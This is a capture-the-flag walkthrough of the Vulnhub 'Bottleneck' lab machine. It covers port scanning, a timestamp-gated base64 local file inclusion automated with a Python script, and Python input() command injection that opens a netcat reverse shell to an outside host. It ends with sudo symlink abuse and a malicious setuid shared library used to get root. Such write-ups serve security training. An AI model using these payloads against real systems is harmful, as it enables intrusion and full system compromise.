Bottleneck — Vulnhub Walkthrough

Tzion
9 min readMay 15, 2021

Hi, this is quite a fun box for me and was rated as intermediate in Proving Grounds, without further ado, let’s get started. Enjoy !

Network Enumeration

nmap -sCV -oA nmap/bottleneck 192.168.178.22

I filtered out the recommend exploit section to make it short :

# Nmap 7.91 scan initiated Mon May 10 07:26:35 2021 as: nmap -sCV -oA nmap/bottleneck 192.168.178.22
Nmap scan report for 192.168.178.22
Host is up (0.33s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx
|_http-title: BOTTLENECK
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 10 07:27:47 2021 -- 1 IP address (1 host up) scanned in 72.02 seconds

Seems port 80 is open, let’s take a look :

Exploitation

I go through the page source but didn’t found any interesting. Hence i use ffuf with wordlistbig.txt and extension .php to find hidden directory/files.

ffuf -w /usr/share/wordlists/dirb/big.txt -u http://192.168.178.22/FUZZ -e .php

I found a file called image_gallery.php

image_gallery.php [Status: 200, Size: 6381, Words: 1626, Lines: 169]

At first i thought that this page doesn’t vulnerable. But by looking at the Network section, i found out every time i refresh the page, there will be a GET request going out with parameter t and f.

We can guess that parameter f stands for file. i try decode it using base64 and got the result:

$ echo "Ym90dGxlbmVja19kb250YmUucG5n" | base64 -d
$ bottleneck_dontbe.png

Yes, we are correct, i even found this file was in directory img

So i tried encoded base64 classic LFI payloads to grab /etc/passwd but failed. It return a 200 status code but with blank page.

After hours of searching, figured out that paramter t stands for timestamp and it was Unix time.

And soon i figured out that we need provide an exact timestamp as in machine in order to grab files. So i started to write a Python script to automate this.

First to figure out the exact timestamp on machine. We need to know the timestamp on our machine :

$ date --help | grep %s
%s seconds since 1970-01-01 00:00:00 UTC
$ date +%s
1621098286

And i minus the timestamp on parameter t with our machine timestamp :

Because of few seconds goes by while i copy pasting, ill use 28800 to evaluate in my case.

Below was the Python script :

#!/usr/bin/env python3
import requests
import base64
import os

ip = "192.168.178.22"
url = f"http://{ip}/image_gallery.php"

with open('payload.txt') as file:
for payload in file:
# Find difference of timestamp
s = os.popen("date +%s")
t = int(s.read())-28800
# Base64 encoding for payload
word = payload.strip('\r').strip('\n')
encode_payload_bytes = base64.b64encode(word.encode('utf-8'))
encode_payload = encode_payload_bytes.decode('utf-8')
print(f"Payload: {word}\nEncoded Payload: {encode_payload}\nt: {str(t)}")

try:
params = {'t':str(t),'f':encode_payload}
r = requests.get(url,params=params)
print("-----------Response Begin-----------")
response = r.text
if not response:
print("No Response")
else:
print(response)
print("-----------Response End-----------")
except Exception as e:
print(e)

The content ofpayload.txt i used :

../../../../../../../../etc/passwd
../../../../../../../etc/passwd
../../../../../../etc/passwd
../../../../../etc/passwd
../../../../etc/passwd
../../../etc/passwd

By running the Python script, i got the output :

$ python3 script.py
Payload: ../../../../etc/passwd
Encoded Payload: Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
t: 1621070425
-----------Response Begin-----------

Let me throw away your nice request into the bin.
The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastruct
ructure I will take strong legal measures.
Why don't you wait on your chair until someone (maybe the police) knock on your door?

<pre>
_,..._
/__ \
\>< `. \
/_ \ |
\-_ /:|
,--'..'. :
,' `.
_,' \
_.._,--'' , |
, ,',, _| _,.'| | |
\||/,'(,' '--'' | | |
_ ||| | /-' |
| | (- -)<`._ | / /
| | \_\O/_/`-.(<< |____/ /
| | / \ / -'| `--.'|
| | \___/ / /
| | H H / | |
|_|_..-H-H--.._ / ,| |
|-.._"_"__..-| | _-/ | |
| | | | \_ |
| | | | | |
| | |____| | |
| | _..' | |____|
| |_(____..._' _.' |
`-..______..-'"" (___..--'
<pre>
-----------Response End----------

Seems like there are something blocking us, probably WAF. But what if we grab image_gallery.php source code instead of /etc/passwd ?

So i changed the content of payload.txt to :

../../../image_gallery.php
../../image_gallery.php
../image_gallery.php

Run this script again and BOOM, we got it :

Payload: ../image_gallery.php
Encoded Payload: Li4vaW1hZ2VfZ2FsbGVyeS5waHA=
t: 1621070808
-----------Response Begin-----------
<?php
/*
CHANGELOG
v1.1: Still testing without content.
I've fixed that problem that @p4w and @ska notified me after hacker attack.
Shit I'm too lazy to make a big review of my code.
I think that the LFI problem can be mitigated with the blacklist.
By the way to protect me from attackers, all malicious requests are immediately sent to the SOC

v1.0: Starting this beautiful gallery
*/

$tstamp = time();
if(isset($_GET['t']) && isset($_GET['f'])){
include_once 'image_gallery_load.php';
exit();
}

?>

The reason why payload ../image_gallery.php worked because in early the bottleneck_dontbe.png was in img directory which means we need to step up a directory to grab image_gallery.php.

With the output we got, we noticed the existence of image_gallery_load.php, so let's grab it !

GOT IT !

Payload: ../image_gallery_load.php
Encoded Payload: Li4vaW1hZ2VfZ2FsbGVyeV9sb2FkLnBocA==
t: 1621071110
-----------Response Begin-----------
<?php
function print_troll(){
$messages = $GLOBALS['messages'];
$troll = $GLOBALS['troll'];
echo $messages[0];
echo $troll;
}

$troll = <<<EOT
<pre>
_,..._
/__ \
>< `. \
/_ \ |
\-_ /:|
,--'..'. :
,' `.
_,' \
_.._,--'' , |
, ,',, _| _,.'| | |
\\||/,'(,' '--'' | | |
_ ||| | /-' |
| | (- -)<`._ | / /
| | \_\O/_/`-.(<< |____/ /
| | / \ / -'| `--.'|
| | \___/ / /
| | H H / | |
|_|_..-H-H--.._ / ,| |
|-.._"_"__..-| | _-/ | |
| | | | \_ |
| | | | | |
| | |____| | |
| | _..' | |____|
| |_(____..._' _.' |
`-..______..-'"" (___..--'
<pre>
EOT;

if(!isset($_GET['t']) || !isset($_GET['f'])){
exit();
}

$imagefile = base64_decode($_GET['f']);
$timestamp = time();
$isblocked = FALSE;
$blacklist = array('/etc','/opt','/var','/opt','/proc','/dev','/lib','/bin','/usr','/home','/ids');
$messages = array("\nLet me throw away your nice request into the bin.\n".
"The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastructructure I will take strong legal measures.\n".
"Why don't you wait on your chair until someone (maybe the police) knock on your door?\n\n");

if(abs($_GET['t'] - $timestamp) > 10){
exit();
}
foreach($blacklist as $elem){
if(strstr($imagefile, $elem) !== FALSE)
$isblocked = TRUE;
}
// report the intrusion to the soc and save information locally for further investigation
if($isblocked){
$logfile = 'intrusion_'.$timestamp;
$fp = fopen('/var/log/soc/'.$logfile, 'w');
fwrite($fp, "'".$imagefile."'");
fclose($fp);
exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
print_troll();
exit();
}
chdir('img');
$filecontent = file_get_contents($imagefile);
if($filecontent === FALSE){
print_troll();
}
else{
echo $filecontent;
}
chdir('../');

?>

-----------Response End-----------

In this output of image_gallery_load.php , we can see its blocking few directories :

array('/etc','/opt','/var','/opt','/proc','/dev','/lib','/bin','/usr','/home','/ids');

And that’s the reason why /etc/passwd wont work.

We can see if it detected directories in the blacklist, it will block it and end up doing this command:

exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');

The above python command will output to /tmp/output . I try again changing content of payload.txt to grab for /tmp/output but failed. There are few reasons why it failed :

  1. Timestamp not correct
  2. Empty file
  3. Something in the machine keep erase the content of /tmp/output

I read the code again and noticed that reason 2 was the reason it failed because :

  • Our timestamp should be correct (Since its automated).
  • Reason 3 should be unlikely because its quite nonsense.

So why /tmp/output was empty? The reason was the exec function work when they detected blacklisted directories. Maybe the machine haven't detect any blacklisted directories or error so the /tmp/output was empty, maybe?

Let’s try it by changing the content of payload.txt again :

I also add a log poisoning PHP payload to see what happen.

../etc/passwd
../etc/passwd'<?php system($_GET['cmd'])?>
../../../../../tmp/output
../../../../tmp/output
../../../tmp/output
../../tmp/output
../tmp/output

I got an error output :

Payload: ../etc/passwd'<?php system($_GET['cmd'])?>
Encoded Payload: Li4vZXRjL3Bhc3N3ZCc8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8+
t: 1621079901
-----------Response Begin-----------

Let me throw away your nice request into the bin.
The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastruct
ructure I will take strong legal measures.
Why don't you wait on your chair until someone (maybe the police) knock on your door?

<pre>
_,..._
/__ \
\>< `. \
/_ \ |
\-_ /:|
,--'..'. :
,' `.
_,' \
_.._,--'' , |
, ,',, _| _,.'| | |
\||/,'(,' '--'' | | |
_ ||| | /-' |
| | (- -)<`._ | / /
| | \_\O/_/`-.(<< |____/ /
| | / \ / -'| `--.'|
| | \___/ / /
| | H H / | |
|_|_..-H-H--.._ / ,| |
|-.._"_"__..-| | _-/ | |
| | | | \_ |
| | | | | |
| | |____| | |
| | _..' | |____|
| |_(____..._' _.' |
`-..______..-'"" (___..--'
<pre>
-----------Response End-----------
Payload: ../../../../../../tmp/output
Encoded Payload: Li4vLi4vLi4vLi4vLi4vLi4vdG1wL291dHB1dA==
t: 1621079902
-----------Response Begin-----------
report: Traceback (most recent call last):
File "/opt/ids_strong_bvb.py", line 7, in <module>
data = str(input('report: '))
File "<string>", line 1
'../etc/passwd'<?php system($_GET['cmd'])?>'
^
SyntaxError: invalid syntax

-----------Response End-----------

As you can see, the python source code was data = str(input('report: ')) and /tmp/output seems used to output the error.

I searched the web about python input exploit and found an interesting page. So i modify the content of payload.txt :

../etc/passwd
../etc/passwd' and __import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.178 8888 >/tmp/f") and '
../../../../../tmp/output
../../../../tmp/output
../../../tmp/output
../../tmp/output
../tmp/output

I setup a netcat listener on port 8888 and run the script :

BOOM ! i got the shell !

PRIVILEGE ESCALATION

With command sudo -l, we found interesting command :

www-data@bottleneck:~/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on bottleneck:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bi
n\:/snap/bin

User www-data may run the following commands on bottleneck:
(bytevsbyte) NOPASSWD: /var/www/html/web_utils/clear_logs

In /var/www/html/web_utils/ , a file called clear_logs has symlink to /opt/clear_logs.sh , but /opt/clear_logs.sh was owned by bytevsbyteand we don't have permission to edit the file :

www-data@bottleneck:~/html/web_utils$ ls -al
ls -al
total 8
drwxrwxr-x 2 www-data www-data 4096 Mar 2 2020 .
drwxr-xr-x 7 root root 4096 Sep 26 2019 ..
lrwxrwxrwx 1 root root 18 Mar 2 2020 clear_logs -> /opt/clear_logs.s
h
www-data@bottleneck:~/html/web_utils$ ls -al /opt/clear_logs.sh
ls -al /opt/clear_logs.sh
-rwxr--r-- 1 bytevsbyte bytevsbyte 43 Sep 27 2019 /opt/clear_logs.sh
www-data@bottleneck:~/html/web_utils$

Since we have the permission to edit clear_logs, let's change its symlink with command :

ln -fns /tmp/clear_logsc /var/www/html/web_utils/clear_logs

Edit the /tmp/clear_logsc :

echo -e '#!/bin/bash\n/bin/bash' > /tmp/clear_logsc

Set the permission to execute /tmp/clear_logsc :

chmod 777 /tmp/clear_logsc

Run the command and we will get bytevsbyte user :

sudo -u bytevsbyte /var/www/html/web_utils/clear_logs

PRIVILEGE ESCALATION (TO ROOT)

We are now bytevsbyte, let's find file with SUID on it :

find / -perm -u=s -type f 2>/dev/null

We spotted an interesting file :

/usr/test/testlib

bytevsbyte@bottleneck:~/html/web_utils$ cat /usr/test/testlib.c
cat /usr/test/testlib.c
#include <dlfcn.h>
#include <unistd.h>

int main(int argc, char *argv[]){
void *handle;
int (*function)();
if(argc < 2)
return 1;
handle = dlopen(argv[1], RTLD_LAZY);
function = dlsym(handle, "test_this");
function();
return 0;
}
bytevsbyte@bottleneck:~/html/web_utils$

I’m not familiar with C code. i think it accept an argument (probably a file) and execute the argument file’s function test_this. Please let me know if my explanation got anything wrong. I'm still learning.

First at our main local machine, we create a C file called test_this.cwith the following code :

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void test_this()
{
setuid(0); setgid(0); system("/bin/sh");
}

Then we run this command :

gcc -fPIC -shared test_this.c -o test_this.so

In our main local machine :

python3 -m http.server 8099

In Bottleneck machine :

$ wget http://<ip>:8099/test_this.so
$ mv test_this.so /tmp/
$ chmod 777 /tmp/test_this.so
$ /usr/test/testlib /tmp/test_this.so

And we will get ROOT access !

Thank you so much for reading this ! Hope you enjoy a lot and see you again until next time !

--

--